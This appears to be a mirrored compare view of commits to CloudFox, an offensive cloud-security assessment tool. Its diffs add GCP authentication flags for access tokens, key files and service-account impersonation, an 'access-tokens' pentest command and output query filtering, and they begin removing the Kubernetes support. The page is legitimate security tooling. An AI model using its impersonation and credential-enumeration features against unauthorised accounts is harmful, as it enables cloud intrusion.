mirror of
https://github.com/BishopFox/cloudfox.git
synced 2026-11-07 09:56:01 -10:00
Compare commits
25
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
0801228b72 | ||
|
|
b47d4b0b45 | ||
|
|
5dbb1a9c32 | ||
|
|
d573ca6fb6 | ||
|
|
79aa3f48ef | ||
|
|
adc9a27232 | ||
|
|
3d58404721 | ||
|
|
531a2ed572 | ||
|
|
5d5c021c20 | ||
|
|
182e26c7bc | ||
|
|
1cf3d52855 | ||
|
|
dc040c3f94 | ||
|
|
454ca1f81e | ||
|
|
521422f5d6 | ||
|
|
45197cf89d | ||
|
|
b8bb8473e2 | ||
|
|
29c9a2e7a5 | ||
|
|
462dba9c10 | ||
|
|
2275e5872c | ||
|
|
9d5c7b79f2 | ||
|
|
5a04bef828 | ||
|
|
3887531d12 | ||
|
|
332a5df61c | ||
|
|
2c4a83017c | ||
|
|
bde29aa2d6 |
No files matched your search
@@ -68,8 +68,6 @@ output/*
|
||||
*cloudfox-output*
|
||||
cloudfox-*
|
||||
cloudfox
|
||||
cloudfox-macos
|
||||
cloudfox-linux
|
||||
*.log
|
||||
*.bak
|
||||
*.txt
|
||||
|
||||
@@ -55,7 +55,7 @@ For the full documentation please refer to our [wiki](https://github.com/BishopF
|
||||
| AWS | 34 |
|
||||
| Azure | 4 |
|
||||
| GCP | 60 |
|
||||
| Kubernetes | 23 |
|
||||
| Kubernetes | Support Planned |
|
||||
|
||||
|
||||
# Install
|
||||
@@ -110,7 +110,7 @@ Additional policy notes (as of 09/2022):
|
||||
|
||||
### GCP
|
||||
* Google Cloud SDK installed and authenticated
|
||||
* Application Default Credentials configured (`gcloud auth application-default login`)
|
||||
* Application Default Credentials configured (`gcloud auth application-default login`), or use `--key-file` / `--access-token` / `--impersonate-sa` flags
|
||||
* Recommended permissions at appropriate hierarchy levels (see below)
|
||||
|
||||
#### GCP Permissions: Minimal vs Comprehensive
|
||||
@@ -154,9 +154,6 @@ For thorough security assessments across an entire organization:
|
||||
|
||||
For detailed setup instructions, see the [GCP Setup Guide](https://github.com/BishopFox/cloudfox/wiki/GCP-Setup-Guide).
|
||||
|
||||
### Kubernetes
|
||||
* `Get` and `List` on all (`*`) resources
|
||||
|
||||
# AWS Commands
|
||||
| Provider | Command Name | Description
|
||||
| - | - | - |
|
||||
@@ -207,6 +204,50 @@ For detailed setup instructions, see the [GCP Setup Guide](https://github.com/Bi
|
||||
| Azure | [vms](https://github.com/BishopFox/cloudfox/wiki/Azure-Commands#vms) | Enumerates useful information for Compute instances in all available resource groups and subscriptions |
|
||||
|
||||
|
||||
# GCP Global Flags
|
||||
|
||||
All GCP commands support these flags:
|
||||
|
||||
### Authentication
|
||||
| Flag | Description |
|
||||
| - | - |
|
||||
| `--access-token` | Raw GCP access token for authentication (non-refreshable) |
|
||||
| `-i, --impersonate-sa` | Service account email to impersonate (requires `roles/iam.serviceAccountTokenCreator`) |
|
||||
| `-k, --key-file` | Path to a service account JSON key file for authentication |
|
||||
|
||||
If no authentication flags are provided, CloudFox uses Application Default Credentials (ADC). You can combine `--key-file` or `--access-token` with `--impersonate-sa` to impersonate using a specific base credential.
|
||||
|
||||
### Query Filtering
|
||||
| Flag | Description |
|
||||
| - | - |
|
||||
| `-q, --query` | Filter output rows by substring match or column-aware key:value syntax |
|
||||
| `--sqlquery` | Filter output with SQL-like WHERE clause syntax |
|
||||
|
||||
**`--query` examples:**
|
||||
```bash
|
||||
# Plain substring (matches any column)
|
||||
cloudfox gcp -p my-project iam --query "privesc02"
|
||||
|
||||
# Column-specific: Role contains "owner" AND Principal contains "privesc02"
|
||||
cloudfox gcp -p my-project serviceaccounts --query "Role:owner,Principal:privesc02"
|
||||
|
||||
# Negation: Role contains "owner" but Principal does NOT contain "compute"
|
||||
cloudfox gcp -p my-project serviceaccounts --query "Role:owner,!Principal:compute"
|
||||
|
||||
# Exact match on column value
|
||||
cloudfox gcp -p my-project iam --query "Role=roles/owner"
|
||||
```
|
||||
|
||||
**`--sqlquery` examples:**
|
||||
```bash
|
||||
cloudfox gcp -p my-project serviceaccounts \
|
||||
--sqlquery "Role CONTAINS owner AND Principal CONTAINS privesc02"
|
||||
|
||||
cloudfox gcp -p my-project iam --sqlquery "Source != Project"
|
||||
```
|
||||
|
||||
For full query filtering documentation, see the [GCP Commands Wiki - Query Filtering](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#query-filtering).
|
||||
|
||||
# GCP Commands
|
||||
|
||||
For detailed documentation on each GCP command, see the [GCP Commands Wiki](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands).
|
||||
@@ -279,41 +320,6 @@ For detailed documentation on each GCP command, see the [GCP Commands Wiki](http
|
||||
| GCP | [spanner-enum](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#spanner-enum) | Scan Spanner database schemas for sensitive table and column names |
|
||||
|
||||
|
||||
# Kubernetes Commands
|
||||
|
||||
`cloudfox kubernetes --help`
|
||||
|
||||
or
|
||||
|
||||
`cloudfox k8s --help`
|
||||
|
||||
| Provider | Command Name | Description
|
||||
| - | - | - |
|
||||
| k8s | [whoami](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#whoami) | Display the identity the kubeconfig, ServiceAccount token, or in-cluster credentials are authenticated as |
|
||||
| k8s | [all-checks](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#all-checks) | Executes all available Kubernetes commands to collect and display information from the cluster |
|
||||
| k8s | [configmaps](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#configmaps) | List all cluster ConfigMaps and detailed information |
|
||||
| k8s | [cronjobs](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#cronjobs) | List all cluster CronJobs |
|
||||
| k8s | [daemonsets](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#daemonsets) | List all cluster DaemonSets |
|
||||
| k8s | [deployments](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#deployments) | List all cluster Deployments |
|
||||
| k8s | [endpoints](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#endpoints) | List all cluster Endpoints |
|
||||
| k8s | [hidden-admins](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#hidden-admins) | Enumerate roles, users, groups, and service accounts with dangerous or escalatory permissions |
|
||||
| k8s | [jobs](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#jobs) | List all cluster Jobs |
|
||||
| k8s | [namespaces](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#namespaces) | List all cluster Namespaces
|
||||
| k8s | [network-exposure](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#network-exposure) | Enumerate exposed network hosts and ports
|
||||
| k8s | [network-policy](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#network-policy) | List all cluster Network Policies
|
||||
| k8s | [nodes](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#nodes) | List all cluster Nodes
|
||||
| k8s | [permissions](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#permissions) | List all cluster entities and their respective permissions
|
||||
| k8s | [pod-security](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#pod-security) | List all cluster Pod Security Policies or Admission settings
|
||||
| k8s | [pods](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#pods) | List all cluster Pods
|
||||
| k8s | [replicasets](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#replicasets) | List all cluster ReplicaSets
|
||||
| k8s | [secrets](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#secrets) | List all cluster Secrets
|
||||
| k8s | [services](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#services) | List all cluster Services
|
||||
| k8s | [statefulsets](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#statefulsets) | List all cluster StatefulSets
|
||||
| k8s | [taints-tolerations](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#taints-tolerations) | Displays for each pod which node taints it tolerates and lists taints on nodes that are not tolerated by any pods
|
||||
| k8s | [taints](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#taints) | List all cluster node taints and outputs an example YAML file with node and tolerations to create a pod
|
||||
| k8s | [tolerations](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#tolerations) | List all cluster pod tolerations and outputs an example YAML file with tolerations to create a pod
|
||||
|
||||
|
||||
|
||||
# Authors
|
||||
* [Carlos Vendramini](https://github.com/carlosvendramini-bf)
|
||||
|
||||
@@ -544,6 +544,9 @@ type OrgAccounts struct {
|
||||
}
|
||||
|
||||
func awsPreRun(cmd *cobra.Command, args []string) {
|
||||
// Set up Ctrl+C handler (double-press to confirm shutdown)
|
||||
internal.SetupSignalHandler()
|
||||
|
||||
gob.Register(&types.Organization{})
|
||||
|
||||
// if multiple profiles were used, ensure the management account is first
|
||||
|
||||
+253
-25
@@ -2,7 +2,9 @@ package cli
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
@@ -12,6 +14,8 @@ import (
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/oauth2"
|
||||
"golang.org/x/oauth2/google"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -22,6 +26,15 @@ var (
|
||||
GCPProjectIDs []string
|
||||
GCPAllProjects bool
|
||||
|
||||
// Service account impersonation
|
||||
GCPImpersonateSA string
|
||||
|
||||
// Service account key file authentication
|
||||
GCPKeyFile string
|
||||
|
||||
// Raw access token authentication
|
||||
GCPAccessToken string
|
||||
|
||||
// Project name mapping (ProjectID -> DisplayName)
|
||||
GCPProjectNames map[string]string
|
||||
|
||||
@@ -31,6 +44,8 @@ var (
|
||||
GCPVerbosity int
|
||||
GCPWrapTable bool
|
||||
GCPFlatOutput bool
|
||||
GCPQuery string
|
||||
GCPSQLQuery string
|
||||
|
||||
// Refresh cache flag - force re-enumeration even if cache exists
|
||||
GCPRefreshCache bool
|
||||
@@ -52,22 +67,111 @@ var (
|
||||
GCPProjectIDs = nil
|
||||
GCPProjectNames = make(map[string]string)
|
||||
|
||||
// Create session based on auth flags.
|
||||
// Allowed combinations:
|
||||
// --access-token (raw token)
|
||||
// --key-file (SA key file)
|
||||
// --impersonate-sa (impersonate over ADC)
|
||||
// --access-token + --impersonate-sa (impersonate using token as base)
|
||||
// --key-file + --impersonate-sa (impersonate using key as base)
|
||||
// Disallowed: --access-token + --key-file (both are base credentials)
|
||||
var gcpSession *gcpinternal.SafeSession
|
||||
|
||||
if GCPAccessToken != "" && GCPKeyFile != "" {
|
||||
GCPLogger.FatalM("--access-token and --key-file cannot be used together (both are base credentials)", "gcp")
|
||||
}
|
||||
|
||||
// Step 1: Create base session from access-token or key-file (if provided)
|
||||
var baseSession *gcpinternal.SafeSession
|
||||
if GCPAccessToken != "" {
|
||||
os.Unsetenv("GOOGLE_CLOUD_QUOTA_PROJECT")
|
||||
GCPLogger.InfoM("Authenticating with provided access token...", "gcp")
|
||||
var err error
|
||||
baseSession, err = gcpinternal.NewSafeSessionFromAccessToken(context.Background(), GCPAccessToken)
|
||||
if err != nil {
|
||||
GCPLogger.FatalM(fmt.Sprintf("Failed to authenticate with access token: %v", err), "gcp")
|
||||
}
|
||||
// If tokeninfo/userinfo endpoints didn't return an email (common with
|
||||
// SA tokens that only have the cloud-platform scope), try a project-scoped
|
||||
// probe using the CRM API to extract the caller from the error response.
|
||||
if baseSession.GetEmail() == "" && GCPProjectID != "" {
|
||||
gcpinternal.ProbeIdentityWithProject(context.Background(), baseSession, GCPProjectID)
|
||||
}
|
||||
email := baseSession.GetEmail()
|
||||
if email != "" {
|
||||
GCPLogger.SuccessM(fmt.Sprintf("Authenticated as %s (from access token)", email), "gcp")
|
||||
} else {
|
||||
GCPLogger.WarnM("Authenticated with access token (could not resolve identity)", "gcp")
|
||||
}
|
||||
} else if GCPKeyFile != "" {
|
||||
os.Unsetenv("GOOGLE_CLOUD_QUOTA_PROJECT")
|
||||
GCPLogger.InfoM(fmt.Sprintf("Authenticating with key file: %s", GCPKeyFile), "gcp")
|
||||
var err error
|
||||
baseSession, err = gcpinternal.NewSafeSessionFromKeyFile(context.Background(), GCPKeyFile)
|
||||
if err != nil {
|
||||
GCPLogger.FatalM(fmt.Sprintf("Failed to authenticate with key file %s: %v", GCPKeyFile, err), "gcp")
|
||||
}
|
||||
GCPLogger.SuccessM(fmt.Sprintf("Authenticated as %s (from key file)", baseSession.GetEmail()), "gcp")
|
||||
}
|
||||
|
||||
// Step 2: Layer impersonation on top (if requested)
|
||||
if GCPImpersonateSA != "" {
|
||||
os.Unsetenv("GOOGLE_CLOUD_QUOTA_PROJECT")
|
||||
var baseTS oauth2.TokenSource
|
||||
if baseSession != nil {
|
||||
baseTS = baseSession.GetTokenSource()
|
||||
GCPLogger.InfoM(fmt.Sprintf("Impersonating %s using %s as base credential...", GCPImpersonateSA, baseSession.GetEmail()), "gcp")
|
||||
} else {
|
||||
GCPLogger.InfoM(fmt.Sprintf("Impersonating service account: %s", GCPImpersonateSA), "gcp")
|
||||
}
|
||||
var err error
|
||||
gcpSession, err = gcpinternal.NewSafeSessionWithImpersonation(context.Background(), GCPImpersonateSA, baseTS)
|
||||
if err != nil {
|
||||
GCPLogger.FatalM(fmt.Sprintf("Failed to impersonate %s: %v", GCPImpersonateSA, err), "gcp")
|
||||
}
|
||||
GCPLogger.SuccessM(fmt.Sprintf("Successfully impersonating %s", GCPImpersonateSA), "gcp")
|
||||
} else if baseSession != nil {
|
||||
// No impersonation, use the base session directly
|
||||
gcpSession = baseSession
|
||||
} else {
|
||||
// Set quota project for GCP API calls. ADC may reference a deleted
|
||||
// or inaccessible quota project, causing all API calls to fail with
|
||||
// 403/404. Override it with the target project when known.
|
||||
if GCPProjectID != "" {
|
||||
os.Setenv("GOOGLE_CLOUD_QUOTA_PROJECT", GCPProjectID)
|
||||
} else if GCPProjectIDsFilePath != "" {
|
||||
lines := internal.LoadFileLinesIntoArray(GCPProjectIDsFilePath)
|
||||
if len(lines) > 0 {
|
||||
os.Setenv("GOOGLE_CLOUD_QUOTA_PROJECT", lines[0])
|
||||
}
|
||||
} else if GCPAllProjects {
|
||||
// No target project yet. Validate the ADC quota project
|
||||
// and clear it if the project is inaccessible.
|
||||
validateADCQuotaProject()
|
||||
}
|
||||
}
|
||||
|
||||
// Handle project discovery based on flags
|
||||
// Priority: -p (single project) > -l (project list) > -A (all projects)
|
||||
if GCPProjectID != "" {
|
||||
// Single project specified with -p/--project
|
||||
GCPProjectIDs = append(GCPProjectIDs, GCPProjectID)
|
||||
resolveProjectNames(GCPProjectIDs)
|
||||
resolveProjectNames(GCPProjectIDs, gcpSession)
|
||||
} else if GCPProjectIDsFilePath != "" {
|
||||
// Project list specified with -l/--project-list
|
||||
rawProjectIDs := internal.LoadFileLinesIntoArray(GCPProjectIDsFilePath)
|
||||
GCPProjectIDs = deduplicateProjectIDs(rawProjectIDs)
|
||||
resolveProjectNames(GCPProjectIDs)
|
||||
resolveProjectNames(GCPProjectIDs, gcpSession)
|
||||
} else if GCPAllProjects {
|
||||
// Discover all accessible projects with -A/--all-projects
|
||||
GCPLogger.InfoM("Discovering all accessible projects...", "gcp")
|
||||
orgsSvc := orgsservice.New()
|
||||
projects, err := orgsSvc.SearchProjects("")
|
||||
orgsSvc := newOrgsService(gcpSession)
|
||||
var projects []orgsservice.ProjectInfo
|
||||
err := gcpinternal.RetryWithBackoff(GCPLogger, "gcp", 3, func() error {
|
||||
var searchErr error
|
||||
projects, searchErr = orgsSvc.SearchProjects("")
|
||||
return searchErr
|
||||
})
|
||||
if err != nil {
|
||||
GCPLogger.FatalM(fmt.Sprintf("Failed to discover projects: %v. Try using -p or -l flags instead.", err), "gcp")
|
||||
}
|
||||
@@ -85,22 +189,53 @@ var (
|
||||
GCPLogger.InfoM("No project scope specified. Use -p, -l, or -A flag.", "gcp")
|
||||
}
|
||||
|
||||
// Create a context with project IDs and names
|
||||
ctx := context.WithValue(context.Background(), "projectIDs", GCPProjectIDs)
|
||||
// Create a context with project IDs and names, using signal-aware base context
|
||||
sigCtx := internal.SetupSignalHandler()
|
||||
ctx := context.WithValue(sigCtx, "projectIDs", GCPProjectIDs)
|
||||
ctx = context.WithValue(ctx, "projectNames", GCPProjectNames)
|
||||
|
||||
// Authenticate and get account info
|
||||
os := oauthservice.NewOAuthService()
|
||||
principal, err := os.WhoAmI()
|
||||
if err != nil {
|
||||
GCPLogger.FatalM(fmt.Sprintf("could not determine default user credential with error %s.\n\nPlease use default application default credentials: https://cloud.google.com/docs/authentication/application-default-credentials\n\nTry: gcloud auth application-default login", err.Error()), "gcp")
|
||||
// Set default session so all services pick up impersonation
|
||||
if gcpSession != nil {
|
||||
gcpinternal.SetDefaultSession(gcpSession)
|
||||
}
|
||||
|
||||
// Set global query filter if --query or --sqlquery flag is provided
|
||||
if GCPQuery != "" && GCPSQLQuery != "" {
|
||||
GCPLogger.FatalM("--query and --sqlquery cannot be used together", "gcp")
|
||||
}
|
||||
if GCPQuery != "" {
|
||||
internal.SetQueryFilter(GCPQuery)
|
||||
}
|
||||
if GCPSQLQuery != "" {
|
||||
internal.SetSQLQueryFilter(GCPSQLQuery)
|
||||
}
|
||||
|
||||
// Authenticate and get account info.
|
||||
// Check impersonation first since it overrides the effective identity
|
||||
// even when combined with --access-token or --key-file.
|
||||
if GCPImpersonateSA != "" {
|
||||
ctx = context.WithValue(ctx, "account", GCPImpersonateSA)
|
||||
} else if GCPAccessToken != "" {
|
||||
email := gcpSession.GetEmail()
|
||||
if email == "" {
|
||||
email = "access-token-user"
|
||||
}
|
||||
ctx = context.WithValue(ctx, "account", email)
|
||||
} else if GCPKeyFile != "" {
|
||||
ctx = context.WithValue(ctx, "account", gcpSession.GetEmail())
|
||||
} else {
|
||||
os := oauthservice.NewOAuthService()
|
||||
principal, err := os.WhoAmI()
|
||||
if err != nil {
|
||||
GCPLogger.FatalM(fmt.Sprintf("could not determine default user credential with error %s.\n\nPlease use default application default credentials: https://cloud.google.com/docs/authentication/application-default-credentials\n\nTry: gcloud auth application-default login", err.Error()), "gcp")
|
||||
}
|
||||
ctx = context.WithValue(ctx, "account", principal.Email)
|
||||
}
|
||||
ctx = context.WithValue(ctx, "account", principal.Email)
|
||||
|
||||
// Build scope hierarchy for hierarchical output (unless --flat-output is set)
|
||||
if !GCPFlatOutput && len(GCPProjectIDs) > 0 {
|
||||
GCPLogger.InfoM("Building scope hierarchy for hierarchical output...", "gcp")
|
||||
orgsSvc := orgsservice.New()
|
||||
orgsSvc := newOrgsService(gcpSession)
|
||||
provider := orgsservice.NewHierarchyProvider(orgsSvc)
|
||||
hierarchy, err := gcpinternal.BuildScopeHierarchy(GCPProjectIDs, provider)
|
||||
if err != nil {
|
||||
@@ -153,7 +288,7 @@ var (
|
||||
// Cache auto-refreshes after 24 hours
|
||||
// Force refresh when running the organizations command to ensure fresh data
|
||||
refreshCache := GCPRefreshCache || cmd.Name() == "organizations"
|
||||
orgCache := loadOrPopulateOrgCache(account, refreshCache)
|
||||
orgCache := loadOrPopulateOrgCache(account, refreshCache, gcpSession)
|
||||
if orgCache != nil && orgCache.IsPopulated() {
|
||||
ctx = gcpinternal.SetOrgCacheInContext(ctx, orgCache)
|
||||
}
|
||||
@@ -163,6 +298,14 @@ var (
|
||||
}
|
||||
)
|
||||
|
||||
// newOrgsService creates an organizations service, using the impersonated session if provided
|
||||
func newOrgsService(session *gcpinternal.SafeSession) *orgsservice.OrganizationsService {
|
||||
if session != nil {
|
||||
return orgsservice.NewWithSession(session)
|
||||
}
|
||||
return orgsservice.New()
|
||||
}
|
||||
|
||||
// deduplicateProjectIDs removes duplicates, trims whitespace, and filters empty entries
|
||||
func deduplicateProjectIDs(projectIDs []string) []string {
|
||||
seen := make(map[string]bool)
|
||||
@@ -195,15 +338,72 @@ func deduplicateProjectIDs(projectIDs []string) []string {
|
||||
return result
|
||||
}
|
||||
|
||||
// validateADCQuotaProject reads the ADC file and checks whether the configured
|
||||
// quota project is accessible. The Go SDK sends x-goog-user-project on every
|
||||
// request based on the ADC's quota_project_id. If that project is deleted or
|
||||
// inaccessible, ALL API calls will fail with 403/404. This function detects
|
||||
// that condition and clears the quota project so the SDK doesn't send the
|
||||
// broken header. The caller is responsible for setting a valid quota project
|
||||
// once a working project is discovered.
|
||||
func validateADCQuotaProject() {
|
||||
creds, err := google.FindDefaultCredentials(context.Background())
|
||||
if err != nil || creds.JSON == nil {
|
||||
return
|
||||
}
|
||||
|
||||
var adcFile struct {
|
||||
QuotaProject string `json:"quota_project_id"`
|
||||
}
|
||||
if err := json.Unmarshal(creds.JSON, &adcFile); err != nil || adcFile.QuotaProject == "" {
|
||||
return
|
||||
}
|
||||
|
||||
// Proactively clear the quota project via env var override. If the ADC
|
||||
// quota project is valid, the SearchProjects call below will succeed and
|
||||
// we'll restore it. If it's broken, we've already fixed the problem.
|
||||
os.Setenv("GOOGLE_CLOUD_QUOTA_PROJECT", "")
|
||||
|
||||
orgsSvc := orgsservice.New()
|
||||
projects, err := orgsSvc.SearchProjects("")
|
||||
if err != nil {
|
||||
// Can't validate. Leave it cleared (better than a known-broken value).
|
||||
GCPLogger.WarnM(fmt.Sprintf("Could not validate ADC quota project '%s': %v", adcFile.QuotaProject, err), "gcp")
|
||||
return
|
||||
}
|
||||
|
||||
// Check if the original quota project is among accessible active projects
|
||||
for _, p := range projects {
|
||||
if p.ProjectID == adcFile.QuotaProject && p.State == "ACTIVE" {
|
||||
// Original quota project is valid, restore it
|
||||
os.Setenv("GOOGLE_CLOUD_QUOTA_PROJECT", adcFile.QuotaProject)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// Original quota project is not accessible. Pick the first active project.
|
||||
GCPLogger.WarnM(fmt.Sprintf("ADC quota project '%s' is not accessible or has been deleted. Overriding with first available project.", adcFile.QuotaProject), "gcp")
|
||||
for _, p := range projects {
|
||||
if p.State == "ACTIVE" {
|
||||
os.Setenv("GOOGLE_CLOUD_QUOTA_PROJECT", p.ProjectID)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// resolveProjectNames fetches display names for given project IDs
|
||||
func resolveProjectNames(projectIDs []string) {
|
||||
func resolveProjectNames(projectIDs []string, session *gcpinternal.SafeSession) {
|
||||
if len(projectIDs) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
orgsSvc := orgsservice.New()
|
||||
orgsSvc := newOrgsService(session)
|
||||
// Fetch all accessible projects and build lookup map
|
||||
projects, err := orgsSvc.SearchProjects("")
|
||||
var projects []orgsservice.ProjectInfo
|
||||
err := gcpinternal.RetryWithBackoff(GCPLogger, "gcp", 3, func() error {
|
||||
var searchErr error
|
||||
projects, searchErr = orgsSvc.SearchProjects("")
|
||||
return searchErr
|
||||
})
|
||||
if err != nil {
|
||||
// Non-fatal: we can continue without display names
|
||||
GCPLogger.InfoM("Could not resolve project names, using project IDs only", "gcp")
|
||||
@@ -245,11 +445,17 @@ var GCPAllChecksCommand = &cobra.Command{
|
||||
ctx = gcpinternal.SetAllChecksMode(ctx, true)
|
||||
cmd.SetContext(ctx)
|
||||
|
||||
// Get session from context for impersonation support
|
||||
var allChecksSession *gcpinternal.SafeSession
|
||||
if s, ok := ctx.Value("session").(*gcpinternal.SafeSession); ok {
|
||||
allChecksSession = s
|
||||
}
|
||||
|
||||
// Load or populate org cache for cross-project modules
|
||||
existingOrgCache := gcpinternal.GetOrgCacheFromContext(ctx)
|
||||
if existingOrgCache == nil || !existingOrgCache.IsPopulated() {
|
||||
GCPLogger.InfoM("Loading/enumerating organization data for cross-project analysis...", "all-checks")
|
||||
orgCache := loadOrPopulateOrgCache(account, GCPRefreshCache)
|
||||
orgCache := loadOrPopulateOrgCache(account, GCPRefreshCache, allChecksSession)
|
||||
if orgCache != nil && orgCache.IsPopulated() {
|
||||
ctx = gcpinternal.SetOrgCacheInContext(ctx, orgCache)
|
||||
cmd.SetContext(ctx)
|
||||
@@ -310,6 +516,7 @@ var GCPAllChecksCommand = &cobra.Command{
|
||||
"bigquery-enum": true,
|
||||
"bigtable-enum": true,
|
||||
"spanner-enum": true,
|
||||
"access-tokens": true, // Local-only, no API calls
|
||||
}
|
||||
|
||||
// Count total modules to execute (excluding self, hidden, and excluded modules)
|
||||
@@ -344,7 +551,7 @@ var GCPAllChecksCommand = &cobra.Command{
|
||||
}
|
||||
|
||||
// loadOrPopulateOrgCache loads org cache from disk if available, or enumerates and saves it
|
||||
func loadOrPopulateOrgCache(account string, forceRefresh bool) *gcpinternal.OrgCache {
|
||||
func loadOrPopulateOrgCache(account string, forceRefresh bool, session *gcpinternal.SafeSession) *gcpinternal.OrgCache {
|
||||
// Check if cache exists and we're not forcing refresh
|
||||
if !forceRefresh && gcpinternal.OrgCacheExists(GCPOutputDirectory, account) {
|
||||
// Check if cache is stale (older than 24 hours)
|
||||
@@ -368,18 +575,23 @@ func loadOrPopulateOrgCache(account string, forceRefresh bool) *gcpinternal.OrgC
|
||||
}
|
||||
|
||||
// Enumerate and create cache
|
||||
cache := enumerateAndCacheOrgs(account)
|
||||
cache := enumerateAndCacheOrgs(account, session)
|
||||
return cache
|
||||
}
|
||||
|
||||
// enumerateAndCacheOrgs enumerates all orgs/folders/projects and saves to disk
|
||||
func enumerateAndCacheOrgs(account string) *gcpinternal.OrgCache {
|
||||
func enumerateAndCacheOrgs(account string, session *gcpinternal.SafeSession) *gcpinternal.OrgCache {
|
||||
cache := gcpinternal.NewOrgCache()
|
||||
|
||||
orgsSvc := orgsservice.New()
|
||||
orgsSvc := newOrgsService(session)
|
||||
|
||||
// Get all organizations
|
||||
orgs, err := orgsSvc.SearchOrganizations()
|
||||
var orgs []orgsservice.OrganizationInfo
|
||||
err := gcpinternal.RetryWithBackoff(GCPLogger, "gcp", 3, func() error {
|
||||
var searchErr error
|
||||
orgs, searchErr = orgsSvc.SearchOrganizations()
|
||||
return searchErr
|
||||
})
|
||||
if err == nil {
|
||||
for _, org := range orgs {
|
||||
cache.AddOrganization(gcpinternal.CachedOrganization{
|
||||
@@ -393,7 +605,12 @@ func enumerateAndCacheOrgs(account string) *gcpinternal.OrgCache {
|
||||
}
|
||||
|
||||
// Get all folders
|
||||
folders, err := orgsSvc.SearchAllFolders()
|
||||
var folders []orgsservice.FolderInfo
|
||||
err = gcpinternal.RetryWithBackoff(GCPLogger, "gcp", 3, func() error {
|
||||
var searchErr error
|
||||
folders, searchErr = orgsSvc.SearchAllFolders()
|
||||
return searchErr
|
||||
})
|
||||
if err == nil {
|
||||
for _, folder := range folders {
|
||||
cache.AddFolder(gcpinternal.CachedFolder{
|
||||
@@ -407,7 +624,12 @@ func enumerateAndCacheOrgs(account string) *gcpinternal.OrgCache {
|
||||
}
|
||||
|
||||
// Get all projects
|
||||
projects, err := orgsSvc.SearchProjects("")
|
||||
var projects []orgsservice.ProjectInfo
|
||||
err = gcpinternal.RetryWithBackoff(GCPLogger, "gcp", 3, func() error {
|
||||
var searchErr error
|
||||
projects, searchErr = orgsSvc.SearchProjects("")
|
||||
return searchErr
|
||||
})
|
||||
if err == nil {
|
||||
for _, project := range projects {
|
||||
// Extract project number from Name (format: "projects/123456789")
|
||||
@@ -504,6 +726,11 @@ func init() {
|
||||
GCPCommands.PersistentFlags().BoolVarP(&GCPWrapTable, "wrap", "w", false, "Wrap table to fit in terminal (complicates grepping)")
|
||||
GCPCommands.PersistentFlags().BoolVar(&GCPFlatOutput, "flat-output", false, "Use legacy flat output structure instead of hierarchical per-project directories")
|
||||
GCPCommands.PersistentFlags().BoolVar(&GCPRefreshCache, "refresh-cache", false, "Force re-enumeration of cached data (cache auto-expires after 24 hours)")
|
||||
GCPCommands.PersistentFlags().StringVarP(&GCPImpersonateSA, "impersonate-sa", "i", "", "Service account email to impersonate (requires roles/iam.serviceAccountTokenCreator)")
|
||||
GCPCommands.PersistentFlags().StringVarP(&GCPKeyFile, "key-file", "k", "", "Path to a service account JSON key file for authentication")
|
||||
GCPCommands.PersistentFlags().StringVar(&GCPAccessToken, "access-token", "", "Raw GCP access token for authentication (non-refreshable)")
|
||||
GCPCommands.PersistentFlags().StringVarP(&GCPQuery, "query", "q", "", "Filter output rows by substring match (e.g. \"Role:owner,Principal:privesc02\" or plain \"privesc02\")")
|
||||
GCPCommands.PersistentFlags().StringVar(&GCPSQLQuery, "sqlquery", "", "Filter output with SQL-like syntax (e.g. \"Role CONTAINS owner AND Principal CONTAINS privesc02\")")
|
||||
|
||||
// Available commands
|
||||
GCPCommands.AddCommand(
|
||||
@@ -572,6 +799,7 @@ func init() {
|
||||
commands.GCPAccessLevelsCommand,
|
||||
|
||||
// Pentest/Exploitation commands
|
||||
commands.GCPAccessTokensCommand,
|
||||
commands.GCPPrivescCommand,
|
||||
commands.GCPOrgPoliciesCommand,
|
||||
commands.GCPStorageEnumCommand,
|
||||
|
||||
@@ -1,365 +0,0 @@
|
||||
package cli
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
k8sinternal "github.com/BishopFox/cloudfox/internal/kubernetes"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/commands"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/config"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/sdk"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/shared"
|
||||
"github.com/spf13/cobra"
|
||||
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
|
||||
)
|
||||
|
||||
var (
|
||||
// K8s auth options
|
